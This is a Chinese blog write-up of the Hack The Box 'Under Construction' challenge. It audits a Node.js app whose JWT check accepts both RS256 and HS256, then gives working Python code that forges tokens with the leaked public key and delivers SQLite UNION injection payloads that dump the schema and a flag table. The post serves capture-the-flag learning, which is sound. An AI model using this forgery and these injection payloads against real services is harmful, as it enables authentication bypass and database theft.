HTB_Under Construction—jwt伪造与sqlite注入

于 2023-04-25 16:41:58 发布
阅读量692 收藏
点赞数
分类专栏： # Tracks 文章标签： 网络安全 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_40927195/article/details/130368339
版权

根据提示，此题目应该是代码审计类型的，文件结构如下

在这里插入图片描述

一般思路有两个，一是看有没有什么敏感信息，二就是看参数传递的地方能否利用，包括注入，伪造等

分析代码

index.js

先来分析入口文件，这是标准的web应用程序的入口文件，含义如下，看起来没有什么需要重点关注的地方

在这里插入图片描述

(这两天看到一些接入chatgpt开发的代码分析程序，过一阵人人都能手撕代码审计逆向和pwn题了😄)

package.json

此文件是一些配置以及版本信息，常出现漏洞的地方就是 express框架的利用，例如：express框架一些渗透技巧 和jwt的伪造，例如：攻击JWT的一些方法

在这里插入图片描述

views/index.html

此文件是一个普通web页面，显示一些基本信息和用户名 (xss漏洞一般很难遇到并利用)

在这里插入图片描述

views/auth.html

这是登录注册页面，接收用户名密码并传递到服务端，正确跳转到内容页面，错误返回此页面，它的后端实现函数在 routes/index.js 中

在这里插入图片描述

routes/index.js

共四个部分，是路由限制功能的实现

// 判断用户名是否存在 存在则跳转到 index 页面 不存在则返回错误信息
router.get('/', AuthMiddleware, async (req, res, next) => {
    try{
        let user = await DBHelper.getUser(req.data.username);
        if (user === undefined) {
            return res.send(`user ${req.data.username} doesn't exist in our database.`);
        }
        return res.render('index.html', { user });
    }catch (err){
        return next(err);
    }
});

// 请求 auth 页面 并将 req.query 的值传递给 auth.html 页面
router.get('/auth', (req, res) => 
    res.render('auth.html', { query: req.query }));

// 退出清空 session
router.get('/logout', (req, res) => {
    res.clearCookie('session');
    return res.redirect('/auth');
});

// 检查请求中是否有 register 字段 存在:则会尝试创建一个新用户 并将其添加到数据库中 还会检查username和password是否已定义并且是否为空 如果是:重定向到 auth页面
router.post('/auth', async (req, res) => {
    const { username, password } = req.body;
    if((username !== undefined && username.trim().length === 0) 
        || (password !== undefined && password.trim().length === 0)){
        return res.redirect('/auth');
    }
    if(req.body.register !== undefined){
        let canRegister = await DBHelper.checkUser(username);
        if(!canRegister){
            return res.redirect('/auth?error=Username already exists');
        }
        DBHelper.createUser(username, password);
        return res.redirect('/auth?error=Registered successfully&type=success');
    }}

// 验证用户名密码 如果验证成功 路由处理程序将创建一个新的JWT令牌 并使用其签名中的数据（这里是用户名）将其存储在 cookie 中 最后 路由处理程序将重定向用户到网站的根路径 让他们访问仅对已登录用户开放的资源
    let canLogin = await DBHelper.attemptLogin(username, password);
    if(!canLogin){
        return res.redirect('/auth?error=Invalid username or password');
    }
    let token = await JWTHelper.sign({
        username: username.replace(/'/g, "\'\'").replace(/"/g, "\"\"")
    })
    res.cookie('session', token, { maxAge: 900000 });
    return res.redirect('/');

在这里插入图片描述

middleware/AuthMiddleware.js

此程序判断 session 不为空时，将其解码，取出其中的用户名以便后续使用

module.exports = async (req, res, next) => {
    try{
        if (req.cookies.session === undefined) return res.redirect('/auth');
        let data = await JWTHelper.decode(req.cookies.session);
        req.data = {
            username: data.username
        }
        next();
    } catch(e) {
        console.log(e);
        return res.status(500).send('Internal server error');
    }
}

helpers/DBHelper.js

数据库连接的代码就不看了，下面这几个函数都是数据库操作语句，没有看到过滤函数，所以可以尝试注入

getUser(username){
	return new Promise((res, rej) => {
		db.get(`SELECT * FROM users WHERE username = '${username}'`, (err, data) => {
			...
	});});},
checkUser(username){
	return new Promise((res, rej) => {
		db.get(`SELECT * FROM users WHERE username = ?`, username, (err, data) => {
			...
	});});},
createUser(username, password){
	let query = 'INSERT INTO users(username, password) VALUES(?,?)';
	let stmt = db.prepare(query);
	stmt.run(username, password);
	stmt.finalize();
},
attemptLogin(username, password){
	return new Promise((res, rej) => {
		db.get(`SELECT * FROM users WHERE username = ? AND password = ?`, username, password, (err, data) => {
			...
	});});}

helpers/JWTHelper.js

这就是 jwt 的生成 token 的加解密过程

module.exports = {
    async sign(data) {
        data = Object.assign(data, {pk:publicKey});
        return (await jwt.sign(data, privateKey, { algorithm:'RS256' }))
    },
    async decode(token) {
        return (await jwt.verify(token, publicKey, { algorithms: ['RS256', 'HS256'] }));
    }
}

什么是 jwt

本题大致思路就是生成 jwt 格式的 token 将我们的 sql 注入的语句传递到服务器，首先了解一下 jwt

说白了，也是一种身份验证的令牌，类似 session、cookie、token ，格式为 header.payload.signature

在这里插入图片描述

与其他令牌不同的是，它只需要在服务器端存储一个私钥，就可以使用签名算法验证数据

header: 常用字段如下 alg指定了token加密使用的算法 (最常用的为HMAC和RSA算法) typ声明类型为JWT
使用 base64 编码
{
  "alg": "RS256",
  "typ": "JWT"
}

payload: 通常为传递的数据 同样使用 base64 编码

signature:使用header中的算法将 header+payload 加密计算

这样，服务端使用私钥解密签名数据，如果能够和前面对上，就证明是可信的数据，非对称加密的安全性是通过私钥不被泄露来保证的，那么如何利用呢？

基本是通过修改加密方式来利用，如修改为空算法或对称加密算法

解题

注册登录，生成的签名可以到👉解密 jwt解密

可以看到解密出了公钥

在这里插入图片描述

使用如下方法验证公钥的准确性

import jwt

public_key = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n"
decoded = jwt.decode("eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJwayI6Ii0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tXG5NSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTk1b1RtOUROemNIcjhnTGhqWmFZXG5rdHNiajFLeHhVT296dzB0clA5M0JnSXBYdjZXaXBRUkI1bHFvZlBsVTZGQjk5SmM1UVowNDU5dDczZ2dWRFFpXG5YdUNNSTJob1VmSjFWbWpOZVdDclNyRFVob2tJRlpFdUN1bWVod3d0VU51RXYwZXpDNTRaVGRFQzVZU1RBT3pnXG5qSVdhbHNIai9nYTVaRUR4M0V4dDBNaDVBRXdiQUQ3MytxWFMvdUN2aGZhamdwekhHZDlPZ05RVTYwTE1mMm1IXG4rRnluTnNqTk53bzVuUmU3dFIxMldiMllPQ3h3MnZkYW1PMW4xa2YvU015cFNLS3ZPZ2o1eTBMR2lVM2plWE14XG5WOFdTK1lpWUNVNU9CQW1UY3oydzJrekJoWkZsSDZSSzRtcXVleEpIcmEyM0lHdjVVSjVHVlBFWHBkQ3FLM1RyXG4wd0lEQVFBQlxuLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tXG4iLCJpYXQiOjE2ODI0MDQ1NDR9.0whAAfQszbnS1WeX0kdtRXbe2Qoml8VG5dIt2nf69sla9dFlbFRCpr5rJ3pwgUMChJajmzltM7D67sOuDFijhQS8pdwe-M4I-31mV9S7oF4Hmal_U9XIZShJ8gr0Tj7dSGatrzn1woH05pj7-nKZJHXv6-iskQcv5EZq1ZyaVn60T1linazzjGoaOR3MN6fP-1Zbi8Ux6QWvP_1WphKIBDsOgbNq3mKyPdeYwNXOgdypFjl3wKJ_u_z7ysIMCgco0HIaLrYa1jNLpbCL31DnSiKLy3zvrRmWzyux_BkI8VPMRYz3eo0yGv4q2yviZcxEVfr4kR1HKRhuqImoIXhkzA",public_key,algorithms=["RS256"])
print(decoded)

在这里插入图片描述

使用 jwt 公钥加密的方式也很简单，修改加密算法为 HS256

import jwt
payload= {
  "username": "test",
  "pk": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n",
  "iat": 1682404544}
public = payload.get("pk")
encoded_jwt = jwt.encode(payload, key=public, algorithm="HS256")
print(encoded_jwt)

运行时报错

在这里插入图片描述

需要注释一下代码

在这里插入图片描述

此时就可以尝试sql注入了，初步的 exp 如下，username 就是我们的注入语句

import jwt
import requests

def gen_jwt_token(username):
	payload= {
	  "username": username,
	  "pk": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n",
	  "iat": 1682404544}
	public = payload.get("pk")
	encoded_jwt = jwt.encode(payload, key=public, algorithm="HS256")
	#print(encoded_jwt)
	get_resp(encoded_jwt)

def get_resp(token):
	headers={
		"cookie": "session=" + token
	}
	url = "http://161.35.36.167:30914/"
	response = requests.get(url,headers=headers).text
	print(response)


if __name__=='__main__':
	username = "test' union select 1,2,3--+ "
	gen_jwt_token(username)

发现在此处有回显

在这里插入图片描述

注意，这里使用的是 sqlite 数据库，所以函数有一些区别，比如它是没有 database()函数的，正巧，之前学习 android开发时接触过 Android开发基础 在利用语句章节

# 查数据库表名和字段名 结果一起返回
username = "test' union select 1,sql,3 from sqlite_master--+ "

在这里插入图片描述

# 查数据
username = "test' union select id,top_secret_flaag,3 from flag_storage--+ "

最终查询到 flag

在这里插入图片描述

重返太空
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
HTB_tools-开源
05-02
6. **兼容性**：由于是开源项目，`HTB_tools`可以与各种网络设备和操作系统兼容，特别是基于Linux的系统。 7. **持续更新与社区支持**：开源软件意味着有活跃的开发者社区，不断改进和完善软件功能，用户可以通过...
40 JAVA安全-JWT安全及预编译CASE注入等
最新发布
山兔的博客
10-23 927
sql语句取数据不是按你发送什么数据就接收什么数据，它是取session里面的，就是登录cookie的数据，这里面的值做为登录的情况，一般session是储存到对方服务器的，他不像cookie，对方服务器上面session的数据，相当于不去操作服务器里面的数据，他是不会有可以伪造的，这种方式能够防御sql注入，其实就是从服务器上面去取固定值，不是让你去网站上面发送数据，他就接收什么数据，这个数据相当于不可控制，这个注入就无法达到我们攻击的目标。访问控制是java特有，php很少；
JWT安全&预编译CASE注入
nightswatch1的博客
05-01 539
28.1大纲 Javaweb-SQL 注入攻击-预编译机制绕过 28.1.1预编译机制与case when ---防御 sql 注入：1.session2.参数绑定存储过程 #利用 session 防御 ---session 内容正常情况下是用户无法修改的 ---...
JWT及JWT伪造
qq_45521281的博客
05-12 1万+
文章目录JWT简介传统的Session认证基于token的鉴权机制JWT的构成头部（header)载荷（payload）签证（signature）通过JWT 进行认证JWT token破解绕过JWT伪造Bukgu jwt——JWT伪造 JWT简介 Json web token (JWT)，是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准（(RFC 7519)。该token被设计为紧凑且安全的，特别适用于分布式站点的单点登录（SSO）场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被
浅谈JWT伪造
姜小孩的博客
02-27 4213
写这篇文章时候五味杂陈，颓废了一个寒假，好像学了，但好像也没学多少，不知是放假前对自己的期待太大了，还是假期真的太放肆了，学了一扣扣皮毛东西，但是值得庆幸的是遇到了该遇到的人。希望在这个学期我们不是互相消耗，而是一起成长，完成该有的目标。 简介 JWT是JSON Web Token。http协议本身是一种无状态的协议，而这就意味着如果用户向我们的应用提供了用户名和密码来进行用户认证，那么下一次请求时用户还要再一次进行用户认证才行，因为根据http协议，我们并不能知道到底是哪个用户发出的请求，所以为了让我
（41.1）【JWT-KID漏洞】KID之目录遍历、命令注入、SQL注入
04-27 2739
【专题】JAVA-KID漏洞
Python库 | htb_cli-0.1.1-py3-none-any.whl
02-16
首先，`htb_cli`这个名字暗示了这是一个命令行接口（CLI）工具，专门用于处理与`htb`相关的任务。通常，这样的库会提供一系列命令，让用户通过终端进行数据处理、系统管理或者特定功能的实现。`htb`可能是某种服务、...
ROS_HTB_优先限速
09-07
ROS_HTB_优先限速，不错的脚本试试吧
htb_challenges:为我所有过于复杂的htb挑战完成内容转储
03-27
htb_challenges 为我所有过于复杂的htb挑战完成内容转储
PyPI 官网下载 | htb_cli-0.1.1-py3-none-any.whl
01-05
资源来自pypi官网。 资源全名：htb_cli-0.1.1-py3-none-any.whl
HACK TEH BOX - Under Construction（JWT密钥混淆 + SQL注入）
weixin_48967543的博客
04-24 515
HACK TEH BOX - Under Construction（JWT密钥混淆 + SQL注入） 目录1. JWT密钥混淆2. 环境3. Challenge4. Walkthrough 1. JWT密钥混淆优惠券网站 www.cps3.cn   JWT的组成一般分为三部分，{算法}.{payload}.{签名}，例如加密函数中jwt.sign(data, privateKey, { algorithm:'RS256' })中，data为数据，privateKey为加密密钥，{ algorithm:'R.
hackthebox-Tracks-Beginner_Track-Under_Construction
lalalaze的博客
02-08 147
打靶
java xml文件中提示cannot resolve property ‘id’ Inspection info : Under Construction
chenruineng123的博客
06-13 6483
问题大体翻译：无法解析id字段 由于之前引入了mybatis Plugin插件，最近插件出错，导致xml文件解析失败，删除插件后，问题解决。
【HTB系列】靶机Vault的渗透测试详解
大方子
04-25 991
Kali: 10.10.14.213 靶机地址：10.10.10.109 先用nmap探测靶机 nmap -sC -sT -sV 10.10.10.109 扫描结果如下： 看看80端口有什么东西 我们用gobuster进行探测下 gobuster -u http://10.10.10.109 -w /usr/share/wordlists/...
渗透测试-JWT攻击
cdyunaq的博客
01-18 6194
1.jwt是什么 Json web token（JWT），是为了在网络应用环境间传递声明而执行的一中基于JSON的开放标准。常用于分布式站点的单点登录。 JWT的声明一般被用在客户端与服务端之间传递身份认证信息，便于向服务端请求资源。 1.1.原理 1）客户端提交用户名密码等信息到服务端请求登录，服务端在验证通过后前发一个具有时效性的token，将token返回给客户端 2）客户端收到token后会将token存储在cookie或localStorage中 3）随后客户端每次请求都会携带这个to
站在 java 的角度探讨 SQL 注入原理
hl1293348082的专栏
03-28 428
在大二就接触过 sql 注入，之前一直在学习 windows 逆向研究方向，认为 web 安全以后不是自己的从业方向，当时也就没有深入研究，工作多年来，本人也一直从事安全开发相关工作，不过随着 java 的市场份额越来越重，在工作中接触 java 的机会也越来越多，也是机缘巧合的契机，自己开始走向了偏 java 开发的道路。 在最近工作中接触到一个项目，其代码风格极其不堪入目，更严重的是 DAO 部分存在大量 SQL 注入的隐患，所以趁这个机会，作者复习研究了一把 SQL 注入相关的知识，在这里与大家探讨
JWT攻击手册：如何入侵你的Token
热门推荐
12-11 3万+
JSON Web Token（JWT）对于渗透测试人员而言，可能是一个非常吸引人的攻击途径。因为它不仅可以让你伪造任意用户获得无限的访问权限，而且还可能进一步发现更多的安全漏洞，如信息泄露，越权访问，SQLi，XSS，SSRF，RCE，LFI等。 首先我们需要识别应用程序正在使用JWT，最简单的方法是在代理工具的历史记录中搜索JWT正则表达式： [=]ey[A-Za-z0-9_-]*\....
注意！侵入JSON Web Token（JWT）
读芯术的博客
12-08 924
全文共4545字，预计学习时长13分钟图源：Unsplash想象一下，你正安逸地躺在家里刷公众号，突然，你的手机嘀嘀嘀，一笔又一笔巨款从你的卡里不翼而飞，急得你惊起直跺脚，咋回事啊？！突...
pikachu漏洞测试平台之SQL注入（新手向）
T3rra_的博客
02-28 5835
pikachu漏洞测试平台之SQL注入（新手向） 以这篇博文简单记录一下我这个小菜鸡用pikachu靶场学习SQL注入的过程。 工具：火狐浏览器，burp suite。 SQL 注入概述 哦,SQL注入漏洞，可怕的漏洞。 在owasp发布的top10排行榜里，注入漏洞一直是危害排名第一的漏洞，其中注入漏洞里面首当其冲的就是数据库注入漏洞。 一个严重的SQL注入漏洞，可能会直接导致一...
format htb
08-24
HTB is an abbreviation for Hack The Box, which is an online platform that provides hands-on penetration testing and hacking challenges. It allows users to simulate real-world cybersecurity scenarios ...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值